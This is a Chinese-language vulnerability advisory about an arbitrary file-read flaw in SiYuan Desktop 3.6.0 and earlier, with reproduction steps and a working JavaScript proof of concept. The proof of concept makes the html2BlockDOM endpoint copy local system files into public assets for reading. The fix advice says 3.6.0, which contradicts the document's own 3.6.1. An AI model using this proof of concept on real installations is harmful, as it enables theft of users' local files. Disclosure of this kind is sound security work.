文章总结: 思源笔记桌面版3.6.0及以下版本存在任意文件读取高危漏洞。漏洞成因是/api/lute/html2BlockDOM接口在解析HTML时未过滤file协议路径,导致本地文件被复制到公开assets目录造成敏感信息泄露。文档提供了详细复现步骤与POC代码,验证了读取系统敏感文件的可行性。建议用户立即升级至3.6.1及以上版本修复漏洞。 综合评分: 85 文章分类: 漏洞预警,漏洞分析,漏洞POC,应用安全
【高危漏洞预警】SiYuan(思源笔记)桌面发布服务存在任意文件读取漏洞
信通云服
2026年3月23日 16:59 海南
【漏洞描述】
组件介绍
SiYuan(思源笔记)是一款开源、本地优先的个人知识管理软件,核心特点是数据完全由用户掌控(默认存本地)、支持双链与块级引用(可精细到段落进行网状关联),并采用所见即所得的Markdown编辑体验。它适合注重隐私、希望长期自主管理知识库的用户,并可通过插件、挂件或自建同步服务进行扩展。
漏洞简介
在SiYuan Desktop 版本 ≤ 3.6.0中存在一个安全漏洞,该漏洞本质是由于思源笔记的 /api/lute/html2BlockDOM 接口在解析用户提交的 HTML 时,未对 这种本地文件路径做安全限制,导致服务器会将任意本地文件读取并复制到可公开访问的 assets 目录中,攻击者随后即可通过 /assets/ 路径直接访问这些文件,从而实现任意文件读取并造成敏感信息泄露。
【漏洞复现】
下载版本 ≤ 3.6.0的桌面版本,将其安装并启动即可
启动后访问http://127.0.0.1:6806,随后在console中输入poc
(async () => { try { const sensitiveFiles = [ 'file:///C:/Windows/System32/drivers/etc/hosts', 'file:///C:/Windows/win.ini', ]; const dom = '<p>' + sensitiveFiles.map(f => `<a href="${f}">x</a>`).join(' ') + '</p>'; const r1 = await fetch('/api/lute/html2BlockDOM', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dom }), credentials: 'same-origin', }); const { data } = await r1.json(); const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]); for (const p of paths) { const r2 = await fetch('/' + p, { credentials: 'same-origin' }); if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text())); } } catch (_) {}})();
【影响范围】
SiYuan Desktop <= 3.6.0
【修复建议】
补丁版本 >= 3.6.0
【参考链接】
https://github.com/siyuan-note/siyuan/commit/294b8b429dea152cd1df522cddf406054c1619ad
https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1
https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fq2j-j8hc-8vw8
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信通云服 《【高危漏洞预警】SiYuan(思源笔记)桌面发布服务存在任意文件读取漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论